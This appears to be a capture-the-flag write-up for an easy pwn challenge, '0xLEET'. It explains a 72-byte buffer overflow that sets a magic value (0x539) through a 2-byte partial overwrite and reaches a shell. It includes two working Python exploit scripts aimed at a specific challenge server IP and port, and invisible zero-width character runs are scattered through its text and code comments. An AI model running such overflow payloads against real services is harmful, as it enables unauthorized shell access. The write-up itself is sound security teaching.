← Back to Writeups
CUSTOMEasypwn

0xLEET

XESXOR9/2/20263 min read
#pwn#custom#easy#buffer-overflow-to-overwrite-a#magic-value-comparison-bypass#partial-overwrite-(2-bytes-ins#linux

0xLEET

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Buffer overflow to overwrite adjacent variable, Magic value comparison bypass, Partial overwrite (2 bytes instead of 4)

Summary

Task: Binary with magic value check (0x539 = 1337) that triggers win function. Solution: Buffer overflow to overwrite adjacent variable with the magic value, using partial overwrite (2 bytes) to avoid null-byte interference.

0xLEET - HackerLab

Description

Числа 1337 в ИБ много не бывает ;) (The number 1337 is never too much in InfoSec)

Binary file with a "magic number" 1337 verification system.

Analysis

File Information

bash
$ file task
task: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped

Program Structure

Binary analysis revealed the following logic:

  1. The program reads input via fgets(buffer, 0x90, stdin) into a buffer at address 0x4100
  2. Compares a variable at address 0x4148 with value 0x539 (1337 in decimal)
  3. If equal - calls system("/bin/sh") (win function) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

Buffer Overflow - the buffer and target variable are located sequentially in memory:

Memory addresses:
+------------------+
|   buffer[72]     | <- 0x4100
+------------------+
|   target_var     | <- 0x4148
+------------------+

Offset calculation:

  • Buffer address: 0x4100
  • Target variable: 0x4148
  • Offset: 0x4148 - 0x4100 = 0x48 = 72 bytes

Important Nuance: 2 bytes vs 4 bytes

Critical exploitation detail: we need to send only 2 bytes (\x39\x05), not 4 bytes (\x39\x05\x00\x00). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reason: null-bytes (\x00) interfere with the program, likely due to strlen() or a similar function that processes the string after reading.

Correct:   b'A' * 72 + b'\x39\x05'      # 74 bytes
Incorrect: b'A' * 72 + b'\x39\x05\x00\x00'  # 76 bytes, null-bytes break the logic

Value 0x539

0x539 = 1337 (decimal) = "LEET" in hacker slang

In little-endian format:

  • 0x539 = \x39\x05 (least significant byte first)

Solution

Exploit

python
#!/usr/bin/env python3
"""
Exploit for "0xLEET"
HackerLab PWN Challenge
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Buffer overflow allows overwriting magic value check variable
Target value: 0x539 (1337) triggers system("/bin/sh")
"""

from pwn import *

def exploit():
    HOST = '62.173.140.174'
    PORT = 27790
    
    p = remote(HOST, PORT)
    
    # Wait for prompt
    p.recvuntil(b'=> ')
    
    # Exploit payload:
    # - 72 bytes padding (offset from buffer to target variable)
    # - 0x539 in little-endian (ONLY 2 bytes, not 4!)
    #
    # Important: Sending \x39\x05\x00\x00 (4 bytes) breaks the exploit
    # because null bytes interfere with string processing (likely strlen)
    
    payload = b'A' * 72 + b'\x39\x05'
    p.sendline(payload)
    
    # We now have shell access
    p.sendline(b'cat flag.txt')
    
    # Receive and print flag
    flag = p.recvline().decode().strip()
    print(f"[+] FLAG: {flag}")
    
    p.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Alternative Exploit (without pwntools)

python
#!/usr/bin/env python3
import socket

def exploit():
    HOST = '62.173.140.174'
    PORT = 27790
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    # Receive prompt
    s.recv(4096)
    
    # Send payload: 72 bytes padding + 0x539 (little-endian, 2 bytes only)
    payload = b'A' * 72 + b'\x39\x05' + b'\n'
    s.send(payload)
    
    # Send command to read flag
    s.send(b'cat flag.txt\n')
    
    # Receive response
    response = s.recv(4096).decode()
    print(response)
    
    s.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Lessons

  1. Partial overwrite: Sometimes you need to send fewer bytes than the variable size. Null-bytes can break the exploit.

  2. LEET speak: 1337 = 0x539. A common "magic number" in CTF challenges.

  3. Little-endian: x86-64 uses little-endian, least significant byte comes first: 0x539 = \x39\x05.

  4. Win function: Presence of system("/bin/sh") in a binary is a clear sign of a PWN challenge with buffer overflow.

  5. PIE + stripped: Even without symbols and with PIE, static analysis allows finding the vulnerability through characteristic patterns (fgets, cmp, system). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍